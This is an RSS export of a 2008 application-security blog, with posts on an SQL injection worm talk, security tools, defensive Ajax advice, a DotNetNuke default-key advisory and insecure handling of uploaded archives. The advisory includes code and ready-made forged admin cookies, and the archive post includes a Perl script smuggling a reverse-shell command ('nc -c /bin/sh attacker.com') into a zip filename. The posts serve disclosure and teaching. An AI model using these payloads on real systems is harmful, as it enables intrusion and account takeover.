<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>GDS Security Blog</title>
	<link>http://www.gdssecurity.com/l/b</link>
	<description>Gotham Digital Science Security Blog</description>
	<pubDate>Thu, 07 Aug 2008 22:13:40 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.3</generator>
	<language>en</language>
			<item>
		<title>SQL Injection Worms for Fun and Profit - slides and demo</title>
		<link>http://www.gdssecurity.com/l/b/2008/08/07/sql-injection-worms-for-fun-and-profit-slides-and-demo/</link>
		<comments>http://www.gdssecurity.com/l/b/2008/08/07/sql-injection-worms-for-fun-and-profit-slides-and-demo/#comments</comments>
		<pubDate>Thu, 07 Aug 2008 22:11:59 +0000</pubDate>
		<dc:creator>Justin Clarke</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2008/08/07/sql-injection-worms-for-fun-and-profit-slides-and-demo/</guid>
		<description><![CDATA[
Well, I&#8217;m offstage now having just presented my talk on &#8220;SQL Injection for Fun &#38; Profit&#8221; at Blackhat in Las Vegas.  One of the main aims of the talk was to provide more coverage on the mass SQL injection attacks that started earlier this year (and are still going on). The Internet Storm Center [...]]]></description>
			<content:encoded><![CDATA[<p>
Well, I&#8217;m offstage now having just presented my talk on &#8220;SQL Injection for Fun &amp; Profit&#8221; at Blackhat in Las Vegas.  One of the main aims of the talk was to provide more coverage on the mass SQL injection attacks that started earlier this year (and are still going on). The Internet Storm Center has some <a href="http://isc.sans.org/diary.html?storyid=4294">good discussion</a> and coverage on this topic from earlier this year.  The other aim was to point out some of the ways it could have, and probably will be in the near future, much much worse.
</p>
<p>
You can find a copy of the <a href="http://www.gdssecurity.com/l/sql_injection_for_fun_and_profit-Blackhat08-JustinClarke.pdf">slides that were presented here</a>, as well as a <a href="http://www.gdssecurity.com/l/Demo.swf">flash video of the demo</a> that was done of the self replicating SQL Injection worm I wrote for this talk.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2008/08/07/sql-injection-worms-for-fun-and-profit-slides-and-demo/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AntiXSS updated</title>
		<link>http://www.gdssecurity.com/l/b/2008/06/02/antixss-updated/</link>
		<comments>http://www.gdssecurity.com/l/b/2008/06/02/antixss-updated/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 15:28:55 +0000</pubDate>
		<dc:creator>Justin Clarke</dc:creator>
		
		<category><![CDATA[Tools]]></category>

		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2008/06/02/antixss-updated/</guid>
		<description><![CDATA[I&#8217;ve just uploaded an update to AntiXSS, based on feedback we&#8217;ve received from developers looking at the library. This can be found at the GDS Tools page. I have also updated the original AntiXSS announcement post to point to the new release.
Since the release of the library, the two main areas of feedback we got [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just uploaded an update to AntiXSS, based on feedback we&#8217;ve received from developers looking at the library. This can be found at the <a href="http://www.gdssecurity.com/l/t.php">GDS Tools</a> page. I have also updated the <a href="http://www.gdssecurity.com/l/b/2007/12/29/antixss-for-java/">original AntiXSS announcement</a> post to point to the new release.</p>
<p>Since the release of the library, the two main areas of feedback we got from users of the library were:</p>
<ul>
<li>Why is it only Java 5 and above? We have a lot of Java 1.4 code.</li>
<li>Why are the methods all named with UpperCamelCase? We use lowerCamelCase for all of our method names.</li>
</ul>
<p>In brief, we&#8217;ve addressed the first issue but not the second in this release. You should find that AntiXSS will work with your Java 1.4 code as we&#8217;ve changed the underlying functionality to remove the dependency on Java 5. As for the method names, those are the names used in the <a href="http://msdn2.microsoft.com/en-us/security/aa973814.aspx">Microsoft Anti-Cross Site Scripting (AntiXSS) v1.5 library for .NET applications</a> of which this library is a port. As such, we&#8217;ve preserved the API as is, and think it would be counter productive to rename the methods, have duplicate methods with different capitalisation, or to ship an adapter interface with lowerCamelCase names.</p>
<p>Any feedback, bug reports, or reports of usage appreciated.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2008/06/02/antixss-updated/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Adapting Sqlbrute</title>
		<link>http://www.gdssecurity.com/l/b/2008/05/20/adapting-sqlbrute/</link>
		<comments>http://www.gdssecurity.com/l/b/2008/05/20/adapting-sqlbrute/#comments</comments>
		<pubDate>Tue, 20 May 2008 13:27:20 +0000</pubDate>
		<dc:creator>Joe Hemler</dc:creator>
		
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2008/05/20/adapting-sqlbrute/</guid>
		<description><![CDATA[Current version of Sqlbrute supports Microsoft SQL Server and Oracle, however the similarities between Microsoft SQL Server and Sybase make it easy to adapt to Sybase with a few minor tweaks. Make the following changes to the current version and you should be able to brute Sybase as easily as SQL Server:
1) Line 484:
foo = [...]]]></description>
			<content:encoded><![CDATA[<p>Current version of Sqlbrute supports Microsoft SQL Server and Oracle, however the similarities between Microsoft SQL Server and Sybase make it easy to adapt to Sybase with a few minor tweaks. Make the following changes to the current version and you should be able to brute Sybase as easily as SQL Server:</p>
<p>1) Line 484:</p>
<p>foo = &#8220;xtype=&#8217;u&#8217; and &#8221;</p>
<p>TO</p>
<p><code>foo = "type='U' and "</code></p>
<p>2) Line 533:</p>
<p>predblike = &#8220;%3Bif EXISTS (select name from &#8221; + self.database + &#8220;sysobjects where xtype = &#8216;u&#8217; and name like &#8216;&#8221;</p>
<p>TO</p>
<p>predblike = &#8220;%3Bif EXISTS (select name from &#8221; + self.database + &#8220;sysobjects where type = &#8216;U&#8217; and name like &#8216;&#8221;</p>
<p>3) Line 558:</p>
<p>predbequals = &#8220;%3Bif EXISTS (select name from &#8221; + self.database + &#8220;sysobjects where xtype = &#8216;u&#8217; and name = &#8216;&#8221;</p>
<p>TO</p>
<p>predbequals = &#8220;%3Bif EXISTS (select name from &#8221; + self.database + &#8220;sysobjects where type = &#8216;U&#8217; and name = &#8216;&#8221;</p>
<p>4) Line 583:</p>
<p>foo = &#8220;xtype=&#8217;u&#8217; and &#8221;</p>
<p>TO</p>
<p>foo = &#8220;type=&#8217;U&#8217; and &#8221;</p>
<p>Essentially, we&#8217;re just changing the &#8220;sysobjects&#8221; column named &#8220;xtype&#8221; to &#8220;type&#8221; in order to  be Sybase compatible. Justin will be releasing an updated version of Sqlbrute with Sybase support in the near future. For more information on Sybase system tables, go <a href="http://infocenter.sybase.com/help/index.jsp?topic=/com.sybase.help.ase_15.0.quickref/html/quickref/CACHJIIJ.htm" target="_blank">here</a>. Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2008/05/20/adapting-sqlbrute/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Web 2.0 and “Defense in Depth”</title>
		<link>http://www.gdssecurity.com/l/b/2008/04/24/web-20-and-%e2%80%9cdefense-in-depth%e2%80%9d/</link>
		<comments>http://www.gdssecurity.com/l/b/2008/04/24/web-20-and-%e2%80%9cdefense-in-depth%e2%80%9d/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 17:53:22 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2008/04/24/web-20-and-%e2%80%9cdefense-in-depth%e2%80%9d/</guid>
		<description><![CDATA[I was recently asked by a client for some technical countermeasures to consider as they prepare to build an Ajax enabled web application (aside from the more fundamental countermeasures like rigid output encoding and request tokenization to defend against XSS and XSRF respectively).  What follows are a few suggestions I provided for implementing “defense [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently asked by a client for some technical countermeasures to consider as they prepare to build an Ajax enabled web application (aside from the more fundamental countermeasures like rigid output encoding and request tokenization to defend against XSS and XSRF respectively).  What follows are a few suggestions I provided for implementing “defense in depth” within their Ajax enabled (Web 2.0) application.</p>
<ul>
<li><strong>Specify the Appropriate Content-Type Response Header</strong></li>
</ul>
<p>By default, most HTTP responses generated by a web component include a “Content-Type” header value of “text/html” or “text/plain”.  These responses are treated by a web browser as HTML and get loaded in the browser DOM.</p>
<p>When rendering responses for Ajax requests, non-HTML content (like XML or JSON) is typically returned, so it is important to specify the correct “Content-Type” HTTP response header.  For example, XML messages returned by Ajax calls should have a “Content-Type: text/xml” header.  These responses will not be loaded into the browser DOM (based on their content-type), which can potentially thwart XSS attacks in the absence of other controls like proper output encoding.</p>
<ul>
<li><strong>Require POST Method for Ajax Calls Returning User Data</strong></li>
</ul>
<p>Any data rendered by an Ajax GET request is potentially susceptible to <a href="http://www.fortify.com/servlet/downloads/public/JavaScript_Hijacking.pdf">JavaScript Hijacking</a> if there are no controls specifically designed to thwart the attack (such as an XSRF token).</p>
<p>JavaScript Hijacking attacks rely on use of the &lt;SCRIPT&gt; tag “SRC” attribute, which is unable to make POST requests.   As such, accepting only POST requests for Ajax calls that return user (or otherwise sensitive) data is generally a good idea.</p>
<ul>
<li><strong>Check Content-Type on POST Requests</strong></li>
</ul>
<p>The browser “same origin” security policy is a key mechanism used to thwart malicious use of the XMLHttpRequest (XHR) object at the browser level.  Standard HTML forms are not restricted by the same origin policy, so verifying that Ajax requests are made using the XHR object and not an HTML form can potentially buy some added safety.</p>
<p>Consider the following HTML form, which can be used to forge a JSON post (a similar technique can be used to forge XML requests):</p>
<p><code>&lt;FORM TARGET="/ajax/dispatcher" METHOD="POST"&gt;<br />
&lt;INPUT TYPE="hidden" NAME='{"action": "sendEmail", "recipient": "george@whitehouse.gov", "messageText": "Hi George! ' VALUE=')"}'&gt;<br />
&lt;/FORM&gt;</code></p>
<p>The results of the above form POST are shown below.  As you can see, to the server the request will look like a valid JSON request (which is typically assumed to have been made using the XHR).</p>
<p><code>{"action": "sendEmail", "recipient": "george@whitehouse.gov", "messageText": "Hi George! =)"}</code></p>
<p>By default, POST requests made using the XHR browser object will have a Content-Type header of “application/xml”.   A standard HTML form submission will typically have a Content-Type header of &#8220;application/x-www-form-urlencoded&#8221; or &#8220;multipart/form-data&#8221;,  so checking this value (server-side) can be one way to help ensure the request was not issued via a rogue 3rd party HTML form.</p>
<ul>
<li><strong>Host 3rd Party Content in a Separate IFrame</strong></li>
</ul>
<p>When serving up 3rd party content, the developer should anticipate the possibility of embedded malicious script code.</p>
<p>Consider a typical RSS feed.  The importance of HTML encoding RSS data elements when being rendered in the page is generally well understood; however certain elements (such as the &lt;link&gt; element) can pose additional challenges.</p>
<p>Normally the &lt;link&gt; RSS element is rendered within the “href” attribute value of an HTML “A” tag.  Depending on how the data is encoded, XSS is often still possible since an exploit string such as “javascript:alert(‘XSS’)” will be unaffected by most native HTML encoding mechanism (like the built-in Server.HtmlEncode method in ASP.NET).</p>
<p>In addition to stringent encoding <a href="http://www.gdssecurity.com/l/b/2007/12/29/antixss-for-java/">techniques</a>, a good secondary defense-in-depth policy to prevent these attacks is to render all 3rd party content (i.e RSS, JavaScript widgets, etc) in a separate IFrame. Serving un-trusted content within a separate IFrame will not prevent a malicious script from executing, but it will prevent the malicious script from accessing application data via the DOM since the IFrame will have its own DOM context.</p>
<p>This is by no means intended to be a complete list of defensive Web 2.0 suggestions, so feel free to comment with additional thoughts.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2008/04/24/web-20-and-%e2%80%9cdefense-in-depth%e2%80%9d/feed/</wfw:commentRss>
		</item>
		<item>
		<title>DotNetNuke Default Machine Key Advisory</title>
		<link>http://www.gdssecurity.com/l/b/2008/03/21/dotnetnuke-default-machine-key-advisory/</link>
		<comments>http://www.gdssecurity.com/l/b/2008/03/21/dotnetnuke-default-machine-key-advisory/#comments</comments>
		<pubDate>Fri, 21 Mar 2008 14:11:03 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2008/03/21/dotnetnuke-default-machine-key-advisory/</guid>
		<description><![CDATA[This morning we released an advisory to bugtraq regarding an exposure in DotNetNuke that can be used to trivially forge authentication tokens and impersonate arbitrary users (including the built in admin account). The vendor was notified back on March 3, 2008 and has now corrected the issue with the release of DotNetNuke version 4.8.2, so [...]]]></description>
			<content:encoded><![CDATA[<p>This morning we released an advisory to bugtraq regarding an exposure in DotNetNuke that can be used to trivially forge authentication tokens and impersonate arbitrary users (including the built in admin account). The vendor was notified back on March 3, 2008 and has now corrected the issue with the release of DotNetNuke version 4.8.2, so we have made the advisory public.  This issue affects DotNetNuke versions 4.8.1 and below.  Additional information can be found in the official <a href="http://www.dotnetnuke.com/News/SecurityBulletins/SecurityBulletinno12/tabid/1148/Default.aspx">DotNetNuke Security Bulletin</a>.</p>
<p><strong>Overview</strong></p>
<p>DotNetNuke (DNN) is an open-source Web Application Framework used to create and deploy websites.  The default web.config files distributed with DNN include an embedded Machine Key value (both ValidationKey and DecryptionKey).  Under certain  circumstances these values may not be updated during the installation/upgrade process, resulting in the ability for an attacker to forge arbitrary ASP.NET forms authentication tickets that can then be used to circumvent all security within a DNN installation.  This issue was confirmed to affect the production instance of DNN used on the DNN Homepage (www.dotnetnuke.com).</p>
<p><strong>Technical Details</strong></p>
<p>The default web.config files distributed with DotNetNuke (DNN) include the following embedded ValidationKey and DecryptionKey values:</p>
<p><code>&lt;machineKey<br />
validationKey="F9D1A2D3E1D3E2F7B3D9F90FF3965ABDAC304902"<br />
decryptionKey="F9D1A2D3E1D3E2F7B3D9F90FF3965ABDAC304902F8D923AC"<br />
decryption="3DES"<br />
validation="SHA1"/&gt;</code></p>
<p>Normally, these values are overwritten by the web-based installation wizard during the initial website setup process.  Specifically, the Config.UpdateMachineKey() routine is called during the initial installation process.  Under certain scenarios where the web server user account does not have access to update the web.config file during installation, the default value will fail to be updated resulting in a DNN installation that uses these values for authentication token encryption and validation.  It is unclear how widespread this issue could potentially be, however it was confirmed that the production instance of DNN used on the DNN Homepage (www.dotnetnuke.com) was affected by this issue.</p>
<p><strong>Proof-of-Concept Exploit</strong></p>
<p>This vulnerability is trivially exploited against any DNN installation using the default ValidationKey and DecryptionKey values.  In order to exploit this issue, two forged cookies (named “.DOTNETNUKE” and “portalroles”) must be generated.  The “.DOTNETNUKE” cookie is used by the ASP.NET Forms Authentication Provider to identify the authenticated user, while the “portalroles” cookie is used by DNN to store role memberships for the current authenticated user.</p>
<p>The following c# code excerpt, when run from an ASP.NET web form configured to use the default ValidationKey and DecryptionKey values, can be used to generate the two required FormsAuthenticationTicket values required to exploit this issue:</p>
<p><code>// Step 1: Generate the two </code><code>FormsAuthenticationTickets </code></p>
<p><code>FormsAuthenticationTicket  ticket1 = new FormsAuthenticationTicket("admin", true, 10000);</code><br />
<code>FormsAuthenticationTicket ticket2 = new FormsAuthenticationTicket(2, "admin", System.DateTime.Now, System.DateTime.MaxValue, true, "Registered Users;Subscribers;Administrators");</code></p>
<p><code></code><br />
<code>// Step 2: Encrypt the </code><code>FormsAuthenticationTickets</code><code></code></p>
<p><code></code> <code>string cookie1 = ".DOTNETNUKE=" + FormsAuthentication.Encrypt(ticket1);<br />
</code><code>string cookie2 = "portalroles=" + FormsAuthentication.Encrypt(ticket2);<br />
</code><br />
The two cookie strings produced by the above code, as shown in the request below, can be used to obtain administrator level access to DNN installations affected by this issue.</p>
<p><em>NOTE:  The exact cookie values shown below</em><em> can be used for testing &amp; exploits.</em></p>
<p><code><br />
GET /default.aspx HTTP/1.1<br />
Host: www.dotnetnuke.com<br />
Cookie: portalroles=CB14B7E2553D9F6259ECF746F2D77FD15B05C5A10D98225339D6E282EFEFB3DA</code><br />
<code>90D0747CEE5FAF2E7605B598311BA3349D25C108FBCEC7A0141BE6CDA83F2896342FBA33FFD8</code><br />
<code>CB18D9A8896F30182B9EEB47786AB9574F6F3EBD9ECF56C389B401BCF744224A869F4C23D5E4</code><br />
<code>280ACC8E16A2113C0770317F3A741630C77BB073871BE3E1E8A6F67AC5F0AC0582925D690B1D</code><br />
<code>777C0302E18E;.DOTNETNUKE=6BBF011195DE71050782BD8E4A9B906F770FEDF87AE1FC32D31</code><br />
<code>B27A14E2307BF986E438E06F4B28DD30706CB516290D5CE1513DD677E64A098F912E2F63E3BE</code><br />
<code>3DDE63809B616F614</code></p>
<p><strong>Recommendation </strong></p>
<p>DotNetNuke v4.8.2 has been released by DotNetNuke Corporation, which specifically addresses this issue.  Additionally, check your web.config file to ensure that the validationkey value is not set to &#8220;F9D1A2D3E1D3E2F7B3D9F90FF3965ABDAC304902&#8243;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2008/03/21/dotnetnuke-default-machine-key-advisory/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bi-Directional HTTP Transformation</title>
		<link>http://www.gdssecurity.com/l/b/2008/02/27/bi-directional-http-transformation/</link>
		<comments>http://www.gdssecurity.com/l/b/2008/02/27/bi-directional-http-transformation/#comments</comments>
		<pubDate>Wed, 27 Feb 2008 16:09:31 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
		
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2008/02/27/bi-directional-http-transformation/</guid>
		<description><![CDATA[The ability to transform and inspect HTTP data as it flows in and out of a web application has many practical uses (both inside and outside of security).  On IIS, this capability was historically restricted to ISAPI filters. Http Modules written in ASP.NET have always allowed processing of requests and responses to and from [...]]]></description>
			<content:encoded><![CDATA[<p>The ability to transform and inspect HTTP data as it flows in and out of a web application has many practical uses (both inside and outside of security).  On IIS, this capability was historically restricted to ISAPI filters. Http Modules written in ASP.NET have always allowed processing of requests and responses to and from an ASP.NET application, but with the advent of IIS7 and the <a href="http://blogs.msdn.com/howard_dierking/archive/2007/12/27/iis-7-0-and-the-asp-net-integrated-pipeline.aspx" target="new">integrated ASP.NET pipeline</a>, Http Modules written in ASP.NET now have access to virtually all stages of request processing (including those not handled by ASP.NET).</p>
<p><a href="http://www.gdssecurity.com/l/t.php" target="new">Transformer.NET</a> is an Http Module designed for on-the-fly inbound and outbound url rewriting.  Apache&#8217;s <a href="http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html" target="new">mod_rewrite</a>, used to manipulate inbound request urls, is arguably one of the most popular Apache modules around.  While there have been several ports of mod_rewrite to IIS (with implementations ranging from Http Modules to ISAPIs), they all share one shortcoming in common with their Apache predecessor: They only rewrite requests and not urls within outbound responses (such as links that are generated within an HTML page).</p>
<p>This has long been a pet peeve of mine.  If you want to use mod_rewrite, you typically need to update the underlying website source code so that the hyperlinks within the application point to the “rewritten&#8221; urls.  This can be a major effort and inconvenience if the site is already written, and even worse, it may not be possible for 3rd party or COTS web applications.</p>
<p>The initial <a href="http://www.gdssecurity.com/l/t.php" target="new">beta release of Transformer.NET</a> differs from previous rewrite modules because it supports bi-directional (inbound and outbound) url rewriting.  Bi-directional rewriting eliminates the need to modify the underlying website code, which is great for legacy or third party web sites and applications.  In addition to the ability to parse response content (such as HTML), Transformer.NET also includes the following two key internal mechanisms:</p>
<table border="0">
<tr>
<td width="10">&nbsp;</td>
<td>
<p><strong>Normalization Engine</strong><br />
Normalizing all urls into their absolute representation quickly became essential for two reasons.  First, the module needs to be able to apply configured rules to a given url in any form. So a rule for &#8220;/foo/bar.htm&#8221; might need to be applied to &#8220;bar.htm&#8221;, &#8220;../bar.htm&#8221;, or any other number of relative url variants depending on the path of the rendering page.  Second, if &#8220;/foo/bar.htm&#8221; is rewritten to &#8220;/fake/bar.htm&#8221;, then suddenly all of the relative links on the page (images, css, etc) will be broken. Replacing a relative link on a rewritten page with its absolute counterpart is essential.
</p>
<p>
<strong>Internal Url Cache</strong><br />
Like anything in the software world, performance is important.  Inspecting and transforming very large responses when lots of rules have been defined can be a real performance killer.  To help minimize performance impact, Transformer.NET maintains an internal cache of all rewrites that are performed.  This eliminates un-needed processing the next time the url is rendered on a page.  The net result is that as more requests are parsed by the module, performance impact continually decreases. To avoid stale cache entries, the cache gets cleared any time a change is made to a rewrite rule.</p>
</td>
</tr>
</table>
<p>The bi-directional rewriting capability of Transformer.NET was really an initial “proof-of-concept” for us to start building bi-directional HTTP inspection and transformation solutions to solve some very interesting web application security problems.</p>
<p>Unlike Apache&#8217;s mod_rewrite, Transformer.NET does not implement conditional rewrites (ala mod_rewrite’s RewriteCond) so it is not intended to be a total port.  The current beta version can be <a href="http://www.gdssecurity.com/l/t.php" target="new">downloaded from our tools page</a>.  Transformer works on IIS6 (limited to ASP.NET applications) and with any site running on IIS7.  A detailed user guide is included with the download.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2008/02/27/bi-directional-http-transformation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A &#8220;Deflate&#8221; Burp Plug-In</title>
		<link>http://www.gdssecurity.com/l/b/2008/02/19/a-delfate-burp-plug-in/</link>
		<comments>http://www.gdssecurity.com/l/b/2008/02/19/a-delfate-burp-plug-in/#comments</comments>
		<pubDate>Tue, 19 Feb 2008 13:34:57 +0000</pubDate>
		<dc:creator>Joe Hemler</dc:creator>
		
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2008/02/19/a-delfate-burp-plug-in/</guid>
		<description><![CDATA[I wrote a plug-in for Burp Proxy that decompresses HTTP response content in the ZLIB (RFC1950) and DEFLATE (RFC1951) compression data formats.  This arose out of an immediate need on a recent web application security assessment.
Inspecting the HTTP traffic between client and server of the application under review, it appeared that most of the [...]]]></description>
			<content:encoded><![CDATA[<p>I wrote a plug-in for <a href="http://portswigger.net/proxy/" target="_blank">Burp Proxy</a> that decompresses HTTP response content in the ZLIB <a href="http://www.faqs.org/rfcs/rfc1950.html" target="_blank">(RFC1950)</a> and DEFLATE <a href="http://www.ietf.org/rfc/rfc1951.txt" target="_blank">(RFC1951)</a> compression data formats.  This arose out of an immediate need on a recent web application security assessment.</p>
<p>Inspecting the HTTP traffic between client and server of the application under review, it appeared that most of the response bodies were compressed and unfortunately not being decoded by Burp (despite the “unpack gzip” option being enabled).  The client, a Java applet, relied on response data for a lot of interesting functionality (including access control) and having the ability to easily view and manipulate the contents in plaintext before being received by the applet was clearly beneficial (let’s ignore the obvious client-side security issue here – this is a topic for another discussion).</p>
<p>As I mentioned earlier, it appeared the response content was compressed; however the expected Content-Encoding HTTP response header was not present. Inspection of the de-compiled Java applet code confirmed that compression was being performed with the <a href="http://java.sun.com/javase/6/docs/api/java/util/zip/Deflater.html" target="_blank">java.util.zip.Deflater</a> and <a href="http://java.sun.com/javase/6/docs/api/java/util/zip/Inflater.html" target="_blank">java.util.zip.Inflater</a> classes.  At present, Burp Proxy does not support the ZLIB and DEFLATE compression formats (only GZIP compression is supported).</p>
<p>Burp is an essential tool in any web app testing toolkit and extending its functionality to inflate “deflate” compressed response content via the handy IBurpExtender interface seemed a worthwhile contribution.  I hope others find the plug-in useful as well; at a minimum, it will be useful when the application returns for a round of regression testing.</p>
<p>The Burp plug-in can be downloaded <a href="http://www.gdssecurity.com/l/t.php" target="_blank">here</a>.</p>
<p>Also included with the download is an example servlet called “DeflateTestServlet” for generating HTTP responses bodies in the RFC1950 and RFC1951 compressed formats for testing the plug-in.</p>
<p>Also, here’s a good <a href="http://www.port80software.com/200ok/archive/2005/10/31/868.aspx" target="_blank">link</a> that may help clarify your understanding of the compression formats used with HTTP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2008/02/19/a-delfate-burp-plug-in/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Handling Uploaded Archives Securely</title>
		<link>http://www.gdssecurity.com/l/b/2008/01/21/handling-uploaded-archives-securely/</link>
		<comments>http://www.gdssecurity.com/l/b/2008/01/21/handling-uploaded-archives-securely/#comments</comments>
		<pubDate>Mon, 21 Jan 2008 22:38:35 +0000</pubDate>
		<dc:creator>Joe Hemler</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2008/01/21/handling-uploaded-archives-securely/</guid>
		<description><![CDATA[Insecure handling of file uploads is one of my favorite issues to test for during web application security assessments. They often provide exploitable attack vectors for compromising the server, application and/or end-user. In this post, I focus on insecure handling of uploaded archive files – something I&#8217;ve seen repeatedly. From my experience, most of the [...]]]></description>
			<content:encoded><![CDATA[<p>Insecure handling of file uploads is one of my favorite issues to test for during web application security assessments. They often provide exploitable attack vectors for compromising the server, application and/or end-user. In this post, I focus on insecure handling of uploaded archive files – something I&#8217;ve seen repeatedly. From my experience, most of the applications vulnerable to this flaw do a fairly good job vetting the uploaded file itself, but fail to apply the same scrutiny to the packaged files. Consider the following PHP code snippet:</p>
<p><u>Example 1:</u></p>
<pre>
&lt;?
if (isFileValidArchive())
{
   $files = getSortedListOfFilesFromValidatedArchive();

   foreach ($files as $filename)
   {
      $ext = substr($filename, strrpos($filename, '.') + 1);
      //only handle .doc files
      if ($ext == "doc")
      {
         $cmd = "/usr/bin/unzip -j -o " .
                   $_FILES['userfile']['tmp_name']
                   . "\"" . $filename . "\" -d /tmp/uploads";
      	 exec($cmd,$results,$status);
      	 // process results
      }
   }
}
?&gt;
<pre></pre>
</pre>
<p>The $filename variable holds the name of a packaged file (such as &#8220;somefile.doc&#8221;) retrieved from an uploaded archive. As usual, blind trust of user-supplied input (i.e. the name of a file packaged within a user uploaded .zip file) creates an exploitable attack vector – in this case, arbitrary command execution. Given the attacker&#8217;s operating system is likely to prevent certain special characters within a file name, how is this exploitable?</p>
<p>For example, the characters &lt; &gt; : &#8221; / \ | ? * are typically forbidden by MS Windows operating systems. These same characters are often useful for manipulating command strings.</p>
<p>To answer the question above, zip compression libraries are a good solution because they provide functionality to create and package archives in memory, which are obviously not bound by OS file system constraints. Allowing special characters in a file name is likely not an oversight as it appears in line with the <a href="http://www.pkware.com/documents/casestudies/APPNOTE.TXT" target="_blank">.ZIP File Format Specification</a>. It’s also worth noting that the spec permits the use of alternate character encodings, which could be leveraged by an attacker to bypass potential blacklist filtering mechanisms. The following Perl script uses <a href="http://www.chilkatsoft.com/perl-zip.asp" target="_blank">this</a> zip compression library to exploit the command injection flaw in Example 1.</p>
<pre>

use chilkat;

# Create a .zip archive in-memory
$zip = new chilkat::CkZip();
$zip-&gt;UnlockComponent("anything for 30-day trial");
$zip-&gt;NewZip("MaliciousArchive.zip");

# Package a file with a malicious file name
$zip-&gt;AppendString("foo\" &amp; nc -c /bin/sh attacker.com 8888 &amp; \"bar.doc","junk");
$zip-&gt;WriteZipAndClose();
<pre></pre>
</pre>
<p>From a security code review perspective, the use of the PHP exec() function in Example 1 should be an immediate red flag (whether you are a security auditor or a developer).  In general, shelling out to perform OS commands is never a good idea, especially if the command potentially contains user input.</p>
<p>A safer alternative when building applications could be native or 3rd party zip compression APIs, such as PHP <a href="http://www.php.net/zip" target="_blank">Zip File Extensions</a> or the Java package <a href="http://java.sun.com/javase/6/docs/api/java/util/zip/package-summary.html" target="_blank">java.util.zip</a>. However, even when these are used, developers still find a way to do it insecurely. Consider Example 2 which is a code snippet from a J2EE web application:</p>
<p><u>Example 2:</u></p>
<pre>
ZipFile zipFile = new ZipFile(uploadedZipFile);

try
{
   Enumeration&lt;? extends ZipEntry&gt; zipEntries = zipFile.entries();
   while (zipEntries.hasMoreElements())
   {
      ZipEntry zipEntry = zipEntries.nextElement();
      File packagedFile = new File("/tmp/uploads", zipEntry.getName());
      // Create "packagedFile" on file system and
      // Copy contents of "zipEntry" into it
   }
}
<pre></pre>
</pre>
<p>Again, the attacker controls everything within the zip file. Embedding characters such as ../ into the name of the packaged file, an attacker could traverse out of  &#8220;/tmp/uploads&#8221; and force the application to write the packaged file into any location, such as the web root directory. A simple &#8220;cmd.jsp&#8221; file would allow the attacker to execute arbitrary commands on the web server.</p>
<p>How can developers harden their applications so they are not vulnerable to similar mistakes? First, ensure the application is secured with appropriate server-side controls when handling file uploads, i.e.</p>
<ul>
<li> maximum file size enforcement</li>
<li>file type and format restrictions</li>
<li>random filename assignment</li>
<li>virus scanning</li>
<li>storing the file into a non-web accessible directory</li>
<li>etc, etc, etc</li>
</ul>
<p>If archive files are permitted, ensure the same level of stringent validation is also applied to packaged files and, most importantly, never trust user-supplied data elements (such as file names or other file attributes) when determining where and how a file will be stored on the file system.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2008/01/21/handling-uploaded-archives-securely/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AntiXSS for Java</title>
		<link>http://www.gdssecurity.com/l/b/2007/12/29/antixss-for-java/</link>
		<comments>http://www.gdssecurity.com/l/b/2007/12/29/antixss-for-java/#comments</comments>
		<pubDate>Sat, 29 Dec 2007 07:34:12 +0000</pubDate>
		<dc:creator>Justin Clarke</dc:creator>
		
		<category><![CDATA[Tools]]></category>

		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2007/12/29/antixss-for-java/</guid>
		<description><![CDATA[I’ve just uploaded the latest version of AntiXSS for Java (version 0.02) to the GDS Tools page. What is AntiXSS for Java? Its a port to Java of the Microsoft Anti-Cross Site Scripting (AntiXSS) v1.5 library for .NET applications.
For those not familiar with the Microsoft AntiXSS library, it is an output encoding library for avoiding [...]]]></description>
